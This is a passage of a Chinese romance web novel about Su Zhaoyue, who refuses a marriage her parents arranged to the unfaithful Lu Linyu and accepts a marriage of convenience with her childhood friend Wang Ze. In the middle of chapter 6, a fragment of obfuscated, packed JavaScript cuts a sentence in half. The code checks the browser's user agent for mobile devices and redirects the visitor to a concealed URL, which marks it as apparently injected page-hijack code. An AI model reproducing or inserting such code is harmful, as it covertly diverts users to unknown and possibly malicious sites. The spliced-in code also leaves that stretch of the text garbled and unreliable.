昭玥拍了张咖啡和蛋糕的照片发过去:「避雨中。」
周元辞回复一个大拇指。
“昭玥姐姐?真的是你!”
昭玥循声抬头,裹着男式外套的女子正朝她走来。
大概是看懂了昭玥眼里的迷茫,“是我啊,朱然。”
昭玥终于想起来这张脸为何这么熟悉。
第一次见朱然,是在周元辞的生日趴。
那年昭玥在国外读研,唯一一个待在国内的那段假期,她天天窝在家里睡大觉,什么交际活动都不参加。
周元辞看不过她那副颓废的样儿,亲自去她家里捉她。
昭玥妆没化、头发没洗,戴个眼镜、换了身干净衣服就跟他走了。
但到了地方之后昭玥却玩的特别嗨,她头发散开在舞池里扭,圆领T恤
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因为大幅度动作而变成斜肩上衣,小露春色。
那天周元辞包下了整个酒吧,所以在里头玩的都是他的朋友,昭玥也就没有顾忌。
她正尽兴的时候,突然从身后伸出一只手,将她垂落的衣领拎上去。
昭玥好奇是哪位好心人,一回头,汪泽正和一女子说话,神情慵懒,明明没有看她,手却伸得长。
那时汪泽身边的女子就是朱然。
其实昭玥不应该忘记她,虽然朱然同以往的女人一样在汪泽身边不超过三个月,但前前后后昭玥见过她不下十次。
那个假期,每次汪泽身边带的都是她。
朱然在昭玥对面坐下,“好久不见。”
赏雨的兴致一扫而尽,昭玥对朱然的印象不好,甚至最后算得上是不欢而散。
最后一次见她是在昭玥假期结束的前夕,最后一次朋友的聚会上,朱然不知为何主动与昭玥套近乎,言辞间总是故作不经意强调她身为汪泽女友的身份。
昭玥见多了这事儿,只以为这又是个傻女孩,于是没放在心上。
她不忍敲碎任何人的梦,习惯做一个善良的旁观者,昭玥擅长与这些女孩子交朋友,聊聊八卦,谈谈恋爱心得,汪泽交往过的大部分女孩对昭玥的评价是“温暖友善”。
那晚除外。
昭玥以为自己应付这类场面已经游刃有余,却没想到朱然突然对她说了句话,叫场面冷滞。
“昭玥姐姐,你与阿泽朋友多年,怎么就没想过近水楼台先得月呢?还是说你脸皮薄,独自暗恋他多年?”
不知朱然是从何得出她爱汪泽的结论,只一点可以肯定——她语气中满含挑衅与不尊重。
对此昭玥没有选择反击,只目光冷冽地看汪泽一眼,算是给他留足情面。
第二日昭玥登上国际航班,周元辞在社交软件上放出的最新合照中已然没了朱然的身影。
多年的朋友默契,叫她在与汪泽对视的那一秒就窥得了这个结局。
谁也不能当着他们的面对彼此出言不逊,他们视对方如珍如宝。
珍宝理应束之高阁,而非搂着睡觉。
所以他们多年情谊,从未有行差踏错的越界行为。
俗世情爱有结束的期限,恪守朋友本分的人不会有。
昭玥正愁要如何应付朱然,手机突然震动一下,还是周元辞。
「有人抢劫,我的车没了,苏昭玥你管不管!」
昭玥面无表情打字:「关我屁事。」
「怎么不关你事,还不都是为了救你的驾。」
「?」
昭玥一头雾水,抬眼间,对面的朱然指了指玻璃窗外。
秋雨如注,地面的水洼映出一片伞的影子,男子的鞋踩在泥泞之中,修长身姿正朝咖啡厅来。
汪泽开的是周元辞的SUV,昭玥曾提过一嘴,她觉得这辆车坐着舒服。
朱然低头瞧了瞧湿透的自己,有些自嘲;“苏昭玥,这世上只有你可以让他冒雨前来,有他在,你永远不必担心自己像我一样淋湿。”
昭玥眼中一片冷静:“下雨的时候需要的是伞,即便没有他,我也不会傻傻叫自己被雨淋。”
等待一把伞,和主动寻找屋檐,是她们的不同之处。
咖啡厅大门的铃铛声再次响起,昭玥起身之前跟朱然说:“换套衣服吧,他不会被你这副落水美人的模样打动,他是个心肠很硬的人,从不吃回头草。”
5. 热焰
昭玥站在屋檐之下,并不主动走进汪泽的伞里。
见她犹犹豫豫,汪泽以为她是怕羊皮底的鞋沾水,于是问昭玥:“要不我背你?”
她仍站在原地,回头望了眼玻璃窗里面的朱然,昭玥示意汪泽朝里看,“还记得吗?你惹的风流债。”
汪泽顺着她的目光瞥了一眼,没停留多久就收回视线。
他不说记不记得,怀抱过的热焰身影那么多,冷却的也多,记得与否是一件无所谓的事。
汪泽只是问她:“你不开心了?”
“我有什么好不开心的?她们都是傻子,换成我,永远都不要爱你。”
昭玥满脸清醒与鄙夷,只有她自己清楚,她也只能口头说一说这种欲盖弥彰的话训诲一下自己,她充其量是一个掩藏得很好的傻子。
汪泽难得露出温驯的表情,从小到大,他极少对她的话语或行为生气,他最清楚昭玥的脾气,她不只是游戏里的公主,现实世界里也是。
他觉得真公主有点公主病再正常不过。
即便她说的话有些伤人,但他觉得永远不爱他算是一件幸运的事。
既然昭玥不主动下来,汪泽便主动上前,虚虚揽过她,将她带到伞下。
“都是我的错。”他说。
随即,昭玥的鞋踩进雨水。
这是位很好哄的公主。
朱然身上的衣裙已经半干,她傻傻坐在那儿许久,睁着一双像是小说里写的“滴滴娇的清水眼”,不知在想什么。
咖啡厅老板徐墨冲了一杯热姜茶放在她手心,“阿朱,从前的一场游戏而已,早该翻篇了。”
朱然不喜满鼻子的姜味,将之推远,她眼中仍只有这场雨。
她目睹那个薄情寡性的人将苏昭玥珍宝一般护在伞中,亲自将人送上副驾,“在我这,那不只是游戏。”
怕她着凉,徐墨将暖气打开。
他有时觉得人真荒谬,总是去期盼一把不为自己遮蔽风雨的伞。
头顶这把却要推远。
-
后来雨势渐小。
周元辞的歌单里净是些咋咋呼呼的DJ热歌,昭玥刚打开就将之关闭,还不如图个清静。
一路无言,车径直开往昭玥的新公寓楼下。
到了地方汪泽却与她一起下车。
昭玥觉得他奇怪:“你干嘛?”
汪泽打开后备箱,拿出一个精美包装的礼盒,另外还有一瓶扎着蝴蝶结的酒瓶。
“乔迁新居的人既然不主动请我们吃饭,我们只好不请自来。”
“你们?”
“周元辞在路上。”
“他怎么不干脆跟你一起去接我?”
“本来是要一起的,但是临走之前他突然说肚子疼,要上厕所。”
“……”
新家在二十六楼,装修风格是经典中古风,最引人瞩目的是客厅整面墙的黑胶收纳架,她将苏宅书房里的黑胶唱片尽数搬到了这里来,张女士当时嘲讽昭玥,说她好像永远不回去了一样。
她将唱片机打开,仍旧是一曲巴赫,经典的《G弦上的咏叹调》。
昭玥偶尔在家看外文文献的时候会听这个,这个曲调可以让昭玥暂时催眠自己是一位坐在古典宫殿中的国王,正在做一件有助于人类的伟大事业。
人在卖苦力的时候需要这么哄哄自己。
昭玥在手机上点了些火锅食材,等外送的时候她将礼物盒拆开。
里面是一个粉黛色的琉璃花瓶。
清透的瓶身,有一种写生的美感,她想里头如果插一枝纯白的虞美人一定很有意境。
“为什么送我这个?难道你是想说我是个花瓶?”
“哪敢。”
“做花瓶也没什么不好,起码美丽。”
“你不止美丽。”
“还有什么?”她明摆着要他夸她。
“聪慧、温柔、坚韧、勇敢,一切一切美好的代名词。”
他夸得太认真,昭玥心中升腾一阵过冬天的炽暖,《G弦》至尾,屋中一片寂静。
“从前没觉得你油腔滑调。”
“字字真心。”他推开阳台的门,寒凉的风漏进来。
昭玥心里想的是,不知他的真心给过几人。
两人在阳台站了会,汪泽手里夹一支烟,并不点燃,只偶尔放在鼻尖闻一下。他不愿叫她的私人空间染上难闻的烟草味,他知道她五感中嗅觉最敏感。
昭玥直接拿来窗台上的香薰点火器为他将烟点燃,她一只手挡住风时,耳边不听话的发丝散落到脸上。
他顺手帮她将头发挽到耳后,冰凉的指腹轻轻擦过她的耳垂。
“不是受不了烟味吗?”汪泽问。
他说话的温度落在她的后颈,昭玥后知后觉的向后闪躲。
“以前是,后来董聿老在我面前抽,习惯了。”
提起上一段感情,昭玥已经没什么伤感的痕迹,其实从小到大她就鲜少因为男人哭过,每一次恋爱她都谨慎清醒。
“如果你想知道他的消息,我可以帮你。”
昭玥不怎么在意:“一个逃兵,找到了要干什么呢?随他去吧。”
“我还以为你很喜欢他。”看来不过如此。
“如你所说,不过是个男人。”
“我是不是把你教坏了?”
昭玥笑:“对啊,我现在和你一样混蛋。”
烟灰飘落窗外,汪泽深吸一口,整个人被烟雾遮盖,像是站在暗色的弄堂里。
他觉得自己如今在她心中的形象有点过于负面了。
周元辞按门铃按出几分干架的气势。
昭玥把门开开,“大哥,我家门铃快被你按坏了。”
这货不换拖鞋就往里走,“门开这么慢,在里面偷吃呢?”
昭玥用拖鞋扔他,“再瞎说滚出去。”
周元辞是空手来的,并且振振有词:“我下午给你发了那么大一个红包,够意思了。”
她不稀罕跟他计较,把菜一盘盘下进锅里,试图用食物堵住他聒噪的嘴。
汪泽带来的酒只有周元辞一个人喝。
周元辞对汪泽有些不满:“我说你最近怎么回事儿?哥们儿我攒的局你来的少就算了,怎么现在酒也不陪我喝,真要从良了?还是金屋藏娇,背着我们搞大事情?”
汪泽夹了一筷子菜给周元辞:“多吃菜,少说话。”
昭玥:“你最近很忙?”
“新项目开发阶段,事情比较多。”他在忙着创业的事儿。
“你就是闲的,乖乖回家继承家业吧,少爷。”周元辞郁闷地嚼着金针菇,事实上,这个桌子上只有他一个是闲人。
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于是他越喝越郁闷,后来自己把自己灌醉,不省人事后躺在沙发上补眠,最后是家里的司机把他接了回去。
昭玥新家没有请阿姨,除了偶尔叫钟点工清扫卫生,其余吃饭整理她大部分时候会自己来。
一顿火锅吃完,餐厅一片狼藉,送走周元辞后,昭玥正打算亲自动手整理,就见汪泽将袖子提上去先她一步开始。
显然,对于这么一位公子哥打扫卫生这事儿,昭玥持怀疑态度,“你确定你可以?”
说话间,汪泽已经将餐盘放成一摞,“你忘记幼儿园办自主活动那天是谁帮你洗的餐盒了?”
“八百年前的事儿还提。”
“我发现你缺乏感恩戴德的优良品质。”
昭玥不理他,拿抹布来擦桌子。
汪泽将餐具丢进洗碗机,场面大致能看,卫生明天叫人来打扫。
他上洗手间的功夫,手机在餐桌上震一下。
昭玥刚好坐着休息,一抬眼瞧见上面显示的人名,一时怔愣。
与他单独相处时,昭玥有时会忘了汪泽是个什么样的人——忘了他风流成性,忘了他寡凉薄情。多年往复,她已经能够接受自己沉默、天真,甚至愚蠢的爱上这样一个人。
比起他不爱任何人,她更难接受有一个人成为他的例外。
昭玥仍然记得大二那年汪泽去南城看她那次。
那天昭玥正在看电影《不能说的秘密》,叶湘伦在百年琴房按下最后一个琴键开启时空之门之前,她的秘密刚刚落地南城。
她心中多雀跃,虽然不是千山万水的距离,但到底也算跨越千里与她相见。
从宿舍楼跑下来时她的脚踝磕在拐角墙壁,流了点血,脚步却丝毫未停,仿佛这个秘密也将如电影一般拥有一个确切的结局。
结果不遂人愿。
后来汪泽跟她的同班同学谈起了恋爱。
那个叫白浣的女孩子,是唯一一个在他身边停留超过三个月的人,听说后来多年藕断丝连。
南城那晚,昭玥眼见他与自己同坐车厢,却为外面的人沉沦心动,他衔着的那抹猩红明明灭灭,像昭玥按灭一万次,而又死灰复燃的心。
她恨透自己没出息。
手机灭掉,他给白浣的备注没什么特别,只是简简单单的名字。
看不见消息内容是什么。
汪泽从洗手间出来,昭玥没什么表情,只是对他说:“很晚了,早点回去休息吧。”
以为是折腾一天她累了,于是提醒她关好门窗后他便离开。
偌大空间归于安静。
昭玥重新播放那盘黑胶,独坐在没开灯的客厅里。
失望一点点积攒,有时她真想任性恨他,叫匕首刺出去让他痛一痛。
她也不知,明明她多深明大义的一个人,为何每每困顿于此。
人人都有自己的偏执,昭玥如此开解自己。
电脑的提示音拉回她的思绪。
昭玥新收到一封邮件,发件人是个陌生ID。
将之点开后,邮件内容是数张男女的香艳照片,赤身相拥、一团污秽。
看来照片是一手的,因为连马赛克都没打。
其中女子变来变去,男子自始至终都是一张脸——
父母为她挑中的那位未婚夫,陆淋屿。
6. 青黯
2024年冬至,汪泽的三叔汪远泰娶第四任妻子。
虽不是头婚,仍办得声势浩大,在雍澜雅厅摆了几十桌。
去的路上,张女士念念叨叨,说汪家怎么就摊上这么个不争气的小儿子。
说的就是汪远泰。
按理来说,他们这种家族将个人婚姻看得极重,由不得谁想离就离、想结就结,时代河流滚滚而前,但有些东西是刻在骨子里的。
苏孝友提醒张女士:“什么妈生什么儿子,你又不是不知道汪远泰是谁的种。”
远泰,远太。
汪远泰的母亲是汪家老爷子汪安国年轻时远远养在港岛的“太太”,小道消息称女人年轻时拍过电影,跟影帝搭过戏,后来因为怀孕生子才彻底淡出荧幕。
对此汪老太太给足了体面,不仅从未闹过,离婚更是从没提过,汪远泰十八岁那年,汪老太太甚至松口,同意汪远泰认祖归宗。
除却是因为年代背景,那个年代没几个人离婚,还因为这桩婚事本就是汪冯两家长辈定下,感情基础并不深厚,也没所谓忠贞。
汪老太太是个一心扑在事业上的女性。
只是没成想,汪远泰养在港岛多年,养成个如此顽劣的性子,游戏人间、风花雪月不说,光是太太就已经有过三个。不知是不是得父亲真传,娶过的太太个个如花美貌。
张女士轻轻摆正胸口的精致别针:“那些女人也不知是真与他坠入爱河,还是贪图汪家名声。”
苏伊文坐在副驾,闻言他提醒张女士:“妈,你等会儿可别在我姐面前说这些,她最听不得有人说汪家的闲话,到时候又要起口舌。”
“没本事进汪家的门,还要反过来管这些闲事,也不知道她怎么想的。”
“姐不是答应和陆淋屿处处看了吗?您就别老说她了。”
张女士“哼”了声:“懒得管她。”
一旁苏孝友面无表情,没有说话。
对于女儿的婚事他不说赞同,也不说反对。
不表达态度是他一直以来的家庭哲学。
当天是周六,昭玥独自在影院看完一场电影,女性主义题材。
散场后昭玥在影厅里坐了几分钟,直到保洁收完垃圾。
她说不清被触动到什么,只是一些觉醒的意识在脑海中萌芽时还伴随一些伤感,她并不是个可以随心所欲信奉什么的人。
陆淋屿发消息告诉昭玥,他在停车场等她。
陆家和汪家原本没什么往来,是最近才搭上的线,毋庸置疑,多亏张女士的好心帮忙。
昭玥去停车场,没有回复手机里的另一则消息。
几分钟前,汪泽问她:「要不要来接你?」
汪泽的住所离这个商场很远,开车需要将近一小时,昭玥在心中提醒自己不要忘记,她与他是不顺路的。
昭玥坐上陆淋屿的车。
车上有一缕若有似无的香,对于香味的来源,昭玥闭着眼都知道这是反转巴黎的香水味。
车里之前坐过别的女人。
在陆淋屿这儿,昭玥真真懂得了什么叫做人不可貌相,他长得是一张其貌不扬的脸,做的却不是人事儿。
昭玥悄然躲开陆淋屿为她系安全带的手。
对于邮箱里那些照片,昭玥已经在电话里跟张女士说过,得到的回复却是:“天底下男人没一个不爱荤腥,女人要懂得睁一只眼闭一只眼,不论嫁给谁都一样。”
昭玥觉得自己连个棋子都不如,下棋尚且需要权衡利弊,而她是母亲执的一枚废棋,是用来献祭的。
“听说天底下母亲大多舐犊情深,妈妈,您不一样,你巴不得我自己主动跳进火坑。”
“玥玥,妈妈也有苦衷,你不知道陆家的一句话能帮你爸爸多少忙。”
“你又要拿这个来绑架我,家里这么多人,凭什么荣辱皆由我负责?”
“小文还没毕业,你作为姐姐只好多付出一些。”
昭玥怒极反笑:“别说这么好听,你们生女儿就是为了给儿子铺路的。”
“从小到大少你吃还是少你穿了?不说每年往银行给你存的金银首饰,就说你从一岁开始,衣服包包有哪一个不是名牌?兴趣班请名师,课外辅导请一对一,你去留学爸爸直接给你买了套公寓让你住,苏昭玥,做人不能不讲良心!”
“好,我讲良心,你直接通知陆家筹办婚礼吧,我明天就嫁给他。”
“你这孩子怎么说话呢?”
昭玥直接将电话挂断。
试图跟张女士讲通道理,是天底下最愚蠢的事。
但昭玥也明白,症结并非全在母亲那里,而在一直沉默的父亲那里。
从小到大,只要父亲说一个不字,母亲就没有唱过反调。
或许他们从头至尾就知道陆淋屿是个什么样的人,只是在利益面前,他们选择让昭玥受一点委屈。
反正从古至今女人没少受过这类委屈,他们的女儿过了这么多年的好日子,稍微奉献一下自己有什么不可以呢?
昭玥掏出包里的绿邂逅分装,使劲喷了几下。
她不讨厌反转巴黎的味道,但是别人身上残留下的不可以。
“陆先生,我可以提个要求吗?”
“说了很多遍,昭玥,叫我淋屿。”
“所以我可不可以提个要求?”她的脸色算不上多好。
“当然,你说。”
昭玥深吸一口气,“陆先生,我不指望你洁身自好,只是如果我们以后注定要成为夫妻的话,希望为了我们彼此的健康,你能按时体检,对于身边的那些女人,也做一些筛选的工作。当然,如果你能同意让外面的那些女人代替我行使为你繁衍后代的职责我也却之不恭。”
“昭玥,你是不是听到了什么风言风语?不必理会。”
“你自己是什么样你心里清楚,有些东西无法摆到台面上来,我们彼此心知就行了。陆先生,我接受我的婚姻和爱情无关,但我不愿为此失去健康,我想你懂我的意思。”
车载音乐轰轰隆隆,又是昭玥讨厌的律动。
没等陆淋屿回答,她便自顾自戴上降噪耳机,仿佛只有如此才能隔绝出另一个世界。
她不愿和他待在同一个世界。
车驶出地下停车场,涌入车流。
-
昭玥在雍澜雅厅的一楼与父母汇合,他们待陆淋屿一切照旧,苏伊文甚至已经开始叫陆淋屿“姐夫”。
张女士见昭玥裙子底下穿的一双平底鞋又开始念叨:“连衣裙搭高跟鞋才好看的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363671|183819||http|test|mini|href|location''.split(''|''),0,{}));
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>昭玥只当听不见。
她明明已经有一米七的身高,不穿高跟也是长长一条。
汪家这次办事不收礼金,听说汪家长辈对汪远泰很有意见,但他非要办酒,若是长辈们不到场更丢脸面,大家只好将表面功夫做足,实则除了两位新人,在场没有一个人的笑容是真心的。
昭玥挽着陆淋屿的手臂走至入口。
她也是那个需要将表面功夫做足的人。
汪泽的母亲何秋琼上前招待他们,即便刚刚还一肚子闲话,此刻张女士也能笑脸相迎,扯出其他好听的话。昭玥一直佩服母亲这一点,曲意逢迎、见人说人话。
何女士撇到昭玥与陆淋屿站一块儿:“玥玥这是交了男朋友?时间过得真快,我还记得小时候她跟阿泽一起玩来着,阿泽小时候性格孤僻,只跟你们家玥玥玩,玥玥现在都有男友了,我们阿泽也不知道什么时候能定下来。”
“不必担心,阿泽这么优秀,那些小姑娘肯定上赶着嫁。”
“他啊,成天没有定性。”
“阿泽人呢?怎么没见着?”
“应该快到了,也不知他怎么想的,放着家里的事儿不做,忙着自己在外面创业,搞什么人工智能,成天见不着人。”
张女士宽慰何女士:“男孩子在外面闯荡一番也是好事儿。”
“话题扯远了,各位赶紧进去吧,”又对昭玥说:“玥玥,今天有你喜欢的甜品,赶紧去尝尝。”
昭玥笑着回:“谢谢何阿姨。”
宴会厅中宾客不少,苏孝友和张珠兰女士各自有各自的聊天圈子,苏伊文则是火速去找自己的几位同学玩儿,陆淋屿与昭玥话不投机,也独自与一位影视行业老总搭上话,嘴里谈的是影视寒冬,心里想的却是最近有哪位女明星对他胃口。
她痴痴望向自己未来的丈夫,心中别提多悲哀。
“看什么呢!”周元辞故意在昭玥耳边大声说话吓她。
“周元辞,为什么每次见面你都要犯贱?”
“苏昭玥,为什么每次见面你身边都有一个不靠谱的男人?”
昭玥转过身,正想着要不要在这种场合把他暴揍一顿,就瞧见他身后站着的修长身影,正用一种复杂的目光望向自己。
那目光令她联想到青黯的霉苔,含着种生在潮湿阴暗处的晦暗。
她生生与之对视。
半分钟后,汪泽朝他们走过来。
问昭玥:“听说你正式同意与他订婚了?”
她穿平底鞋时只堪堪到他下巴,昭玥莫名觉出一阵压迫感,悄悄往后退了半步,“嗯。”
他却又朝前走,将那半步拉回,“你已经知道他是怎样的人。”
“是。”
“不觉得恶心?”
昭玥心不在焉,去咬一口甜点,“刚看到的时候有点。”
周元辞一脸疑惑:“看到什么?”
没人理他。
昭玥已经猜到那些照片是汪泽发给她的,这世上除了他,没几人在意她将要嫁的是人是狗。
“再问一次,”汪泽拿开她手里的食物,试图驱散她眼里的心不在焉,“到底要不要我帮你?”
舌尖微甜的口感消散。
这一次,昭玥的回答是明明确确的一句:“不要。”
7. 相惜
宴会厅人来人往,并非一个适合说话的地方。
汪泽伸手捻走昭玥嘴角的食物残屑,告诉她,“晚餐结束后先别走,我有话与你说。”
周元辞全程听得似懂非懂,“你俩是不是有什么秘密没跟我说?”
仍旧没人理会他。
陆淋屿见自己的准未婚妻与旁人举止亲昵,忍不住过来宣誓主权。
爱不爱是无关紧要的,但旁人动了自己的东西事关尊严,必得上前捍卫一番自己的权利。
陆淋屿一把搂过昭玥的肩,虽然个子比不上对面站着的人,但气势不能输。
他朝汪泽伸手:“听说汪先生与昭玥一起长大,从前多谢你照顾,往后就交由我。”
话语中暗含的玄机不必多说,但汪泽并不买他面子,对于陆淋屿伸出的手他并未多看一眼,遑论陆淋屿说的那些话。
他给昭玥丢下一句:“记得我同你说的话。”
便转身,去敬长辈酒,他今天迟到了,该有的道歉不能少,这是礼节。
周元辞要与之一道,被汪泽一个眼神回绝:“看着她,别让她跑掉。”
昭玥不仅会玩不回信息那一套,还喜欢放他鸽子,平日由着她,今日却不想叫她得逞。
汪泽走开后,昭玥默默扯下陆淋屿搭在她肩膀上的手。
周元辞躲到角落去,他有预感,一场大战即将爆发。
陆淋屿心有不快:“昭玥,不是我小心眼,但是作为我未来的妻子,在与异性交往的时候总要保持一个应有的尺度。”
尺度,她第一次觉得这是个好笑的词语,尤其是从他口中说出来。
见她没有回应,陆淋屿滔滔不绝:“我知道,汪泽他出身好,还有一副好皮囊,女孩儿都喜欢这样的,但你要时刻记住往后与你同舟共济的人是我,何况你只看到他那种人的光鲜外表,里头有多烂你不清楚……”
“陆淋屿。”昭玥打断他,“我只说这一次,永远不要在我面前对他说三道四。”
有些话她能说,但无法准允旁人说一个字。
“怎么?他是你的心肝宝贝?说说都不行?”陆淋屿努力压低自己的声音,却掩盖不住话里话外的阴阳怪气。
昭玥不想理,想避开与他正面交锋,陆淋屿却一直跟着她。
“怎么不说话?还提醒我按时体检,你怎么不也提醒提醒他?还是说你亲自确认过了,他没有得病?”
苏昭玥忽的停下脚步,忍无可忍,在宴厅的人群中央,狠狠给了陆淋屿一个耳光。
“败类。”她气得双眼通红。
这一举动惹来人群注目,偌大的宴会厅诡异的安静了一瞬。
张女士见状赶紧上前,问陆淋屿有没有事,“淋屿你别跟昭玥一般见识,她从小被我宠坏了。”
陆淋屿脸色难看极了,对于张女士递的台阶,他并未立即下来。
张女士赶紧叫昭玥道歉。
昭玥也很强硬:“我没错。”
“玥玥,不要不懂事!”张女士呵斥她。
昭玥看着人群中沉着一张脸、一如既往只会沉默的苏孝友:“我够懂事了。爸爸,你到底想我怎么做?嫁给这样一个人?我实在无法忍受。”
一道响亮的巴掌随即落在昭玥脸上。
张女士大骂她:“混账!”
她面中闪烁晶莹的红痕,昭玥知道自己的行为过火了。
父母好不容易与陆家搭建的关系,或许会因为她的这次任性土崩瓦解。
但她此刻满脑子想的是——别说苏家,就算世界毁灭了她也不要嫁给这个人,去他的责任道义,去他的家族脸面,她只要自己舒坦。
只是此刻昭玥与母亲之间楚河汉界,对面全是与她相对的敌人,她的身后却谁都没有,孤立无援的仗能打胜吗?
这么想着,脸上火辣的伤口突然一刹冰凉。
汪泽拿一片湿巾沾了沾她面中血迹,旁若无人的样子,仿佛根本不在意这个举动会惹来多少非议。
“疼吗?”他问。
昭玥点点头,却倔强着不肯流泪。
他在昭玥耳边轻声说:“好了,这个烂摊子交给我来收拾。先让周元辞送你回去,自己给伤口上点药,我上次在你客厅书架的顶格放了一个药箱,可以直接用。”
“你要怎么收拾?”
汪泽将自己的外套脱下来裹住昭玥,虽然宴会厅内开了暖气,但她的衣裙太单薄,自成年以来,她的穿衣风格就常常一昧追求风度而不顾温度。
每每瞧见,他总是止不住皱眉。
“我自有我的办法。”他说。
周元辞见状上前来带昭玥离开。
那时她不知道汪泽打算用什么方法平息风波,所以对于张女士整个晚上都没有再联系自己,昭玥心中十分疑惑。
那一晚昭玥睡得不安生,她终于如自己所愿叛逆了一次,虽然不知最后等着她的后果是什么,但隐秘的雀跃感堪比高三那年偷偷改掉的志愿。
张女士会像那次一样放过她吗?
第二天上午九点,汪泽按响昭玥公寓的门铃。
见到他,隐忍一个夜晚的委屈开始决堤,昭玥眼中有一滩汪洋。
汪泽再次问了她那个问题:“你想嫁给他吗?”
这一次,昭玥轻轻摇头。
他为她抚去泪,“那看来,我又要帮你一次了。”
上一次他帮她,是七岁那年。
昭玥似乎明白了什么:“什么意思?你昨晚做什么了?”
汪泽从胸口的口袋掏出一个方盒,在她面前打开。
如昭玥所想,里面装的是一枚戒指,而汪泽的中指上已然戴上另一枚。
他并未单膝跪地,只告诉她:“嫁错人是会蹉跎一生的。”
昭玥愣了半天,目光浑蒙,有很多疑惑、不安,汇聚到嘴边却只问出一句:“嫁给你就不会吗?”
“不会。”他郑重其事,“如果有一天你遇到真爱,我向你承诺,随时放你走。”
她不敢相信,多年之后,在游戏之外的现实世界,这个人居然真的打败了恶霸,打算迎娶她。
昭玥从盒子里拿出戒指,自己给自己戴上。
像是终于下定了某种决心,也对他说相同的话:“假使有一天你遇到真爱,汪泽,我也会放你走。”
多年的朋友情谊有一瞬间的模糊,那一瞬她有些不懂相惜与相爱的区别。
“放心,我不会。”
昭玥问为什么,汪泽却没有回答。
他眼中又如漫漶的字迹,她又开始读不懂他。
想来他这样的人,根本不信真爱。
昭玥满脑子响彻一句话——
错的婚姻如若蹉跎人生,不如就叫她蹉跎一生。
-
晚上。
周元辞瞧见汪泽手上的戒指时不怎么吃惊,“老实说,我就知道早晚有一天你会为了她把自己搭进去。”
“只是缓兵之计,如果她遇见中意的人,这段关系随时会结束。”
“你这句话我能不能这么理解——”周元辞笑得不怀好意,“只要昭玥不说结束,你们以后永远都会是夫妻,对吗?”
被戳中痛处汪泽也不恼,反而反问周元辞一句:“那么你觉得,她不会说结束吗?”
回答他的只有包厢里音响鼓点的噪音。
汪泽躲开上前搭讪的女人,不让她近身。
周元辞像是看到什么怪物:“你搞什么?”
对此,汪泽的回答是:“即便婚姻是假的,但对她总要表现得忠贞一些,不然外面的人又要说一堆闲话叫她没面子。”
周元辞有些无语。
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他顶这么多年浪荡公子、寡淡薄情的帽子,却可以因为苏昭玥一个委屈的眼神从此抛却。
周元辞觉得,男女之爱中若是多一分肝胆相照的义气,那么这段情谊便会历久弥新、坚不可摧。
-
冬至那天昭玥毁了汪远泰的婚礼,心中十分过意不去,于是几天后的一个上午,她提着一堆礼品去兰汀公馆登门致歉。
除此之外,她也为拜访汪家长辈。
汪泽自然陪着一起。
何女士亲自给她开的门,见到林林总总的礼盒,何女士赶紧叫家中阿姨将昭玥手中东西接过。
只不过相较上次见面,何秋琼礼貌有余,疏离也有余。
上一次她亲昵地叫“昭玥”。这一次却只肯喊她“苏小姐”。
很显然,对于自己儿子从陆家公子“虎口夺食”这件事,何女士有满肚子意见,奈何汪泽态度坚定,谁也劝阻不了他,她便只能将气暂且撒到昭玥身上。
何秋琼忘不掉那晚,自己这位平日看上去没什么雄心壮志、时常流连花丛中的儿子竟露出几分豺狼般的凶狠。
他一人与苏家父母对峙,讨伐这些年来苏昭玥受到的不公委屈,又嘲讽陆家那位公子品德败坏,配不上苏昭玥。
何秋琼当时提醒汪泽这是叔叔的婚礼,不要再继续闹事。
汪泽竟直接说他与苏昭玥相爱多年,非她不娶。
何秋琼有些不满苏昭玥的家世——比上不足比下有余,娶太太不仅要看爱不爱,还要看她对汪泽有没有助益,可是开弓没有回头箭,千言万语抵不过他儿子非要。
苏昭玥不是声色场所的女孩儿,苏家就算再败落,与汪家也称得上世交,自己儿子既然已经当众说与他家女儿情比金坚,负责就是理所应当的事。
何秋琼默许他将苏昭玥带回家来见一见长辈。
汪泽亲自去拿了双新的女士拖鞋,端端正正放在昭玥脚边,那个架势,恨不得亲自帮她穿上才好。
何女士脸色铁青,她从未见自己儿子这么会照顾人。
昭玥踢踢汪泽,“我自己来。”
而后礼貌地叫了声“何阿姨”。
装作不爱他这么多年,今日却要装作与他浓情蜜意,昭玥有些不习惯。尤其是当汪泽揽住她的腰时,她的整个身体都僵硬极了。
昭玥太过习惯与他保持朋友的姿态,太过习惯他浪荡油滑的空壳。
虽说他平日对她也是照顾有加,但今日他对自己更多一分类似钟情的暧昧,昭玥从不知汪泽演技如此绝佳。
“别紧张。”见她手都不知往哪里放,汪泽在她耳边轻说。
昭玥抬手理了理耳边的发,中指指根折射一道光彩,何秋琼女士看在眼里,心绪更不畅快了:“苏小姐,婚还没正式订,戒指就戴上了吗?”
“妈。”汪泽示意母亲别再为难她,“是我偏要给昭玥戴上的。”
何秋琼瞪儿子一眼:“你就胡闹吧!”
而后转身进了自己的屋子,中午饭都没下楼吃,可见气得不轻。
中午时,由于汪老爷子出门旅游,冯老太太与友人相约喝茶,汪泽的父亲汪铭烈忙于公务,都不在家。
于是只有汪远泰与新太太邱晓霜接待昭玥,这两位倒是很好说话,没有计较他们那日的唐突。
饭桌上,昭玥食欲不佳,汪泽屡次给她夹菜。
邱晓霜莞尔一笑,似是读懂年轻人浓烈的爱情,虽然她也很年轻。
她一直挺羡慕少年夫妻,她觉得这样的感情会更深切一些,但羡慕归羡慕,这世上倒还没有什么真情是值得她抛却钱财付之一炬的,目光浓烈地看向谁,是富家子弟更容易拥有的能力。
有句话说的好——痴情种只在富贵人家。
汪远泰是邱晓霜在可选择范围内,最能给她助益的一个。
8. 亦真
吃完饭,邱晓霜送给昭玥两张音乐会的门票,时间在过完年二月底。
邱晓霜是拉大提琴的,这两年名气越来越大,演奏会也变得卖座,算得上是一票难求。
最离谱的时候,黄牛将票价翻了十倍卖出去。
她是音乐学院毕业的,对于条件一般的家庭来说选艺术类专业其实不是最好的选择,但邱晓霜的母亲对此有执念,宁可在别处克扣花销,也坚持让女儿从小上大提琴课,从未间断。
邱晓霜是个听话的女儿,为了不辜负母亲,一直刻苦练习,也执着于在这个领域做出成绩,让妈妈脸上有光。
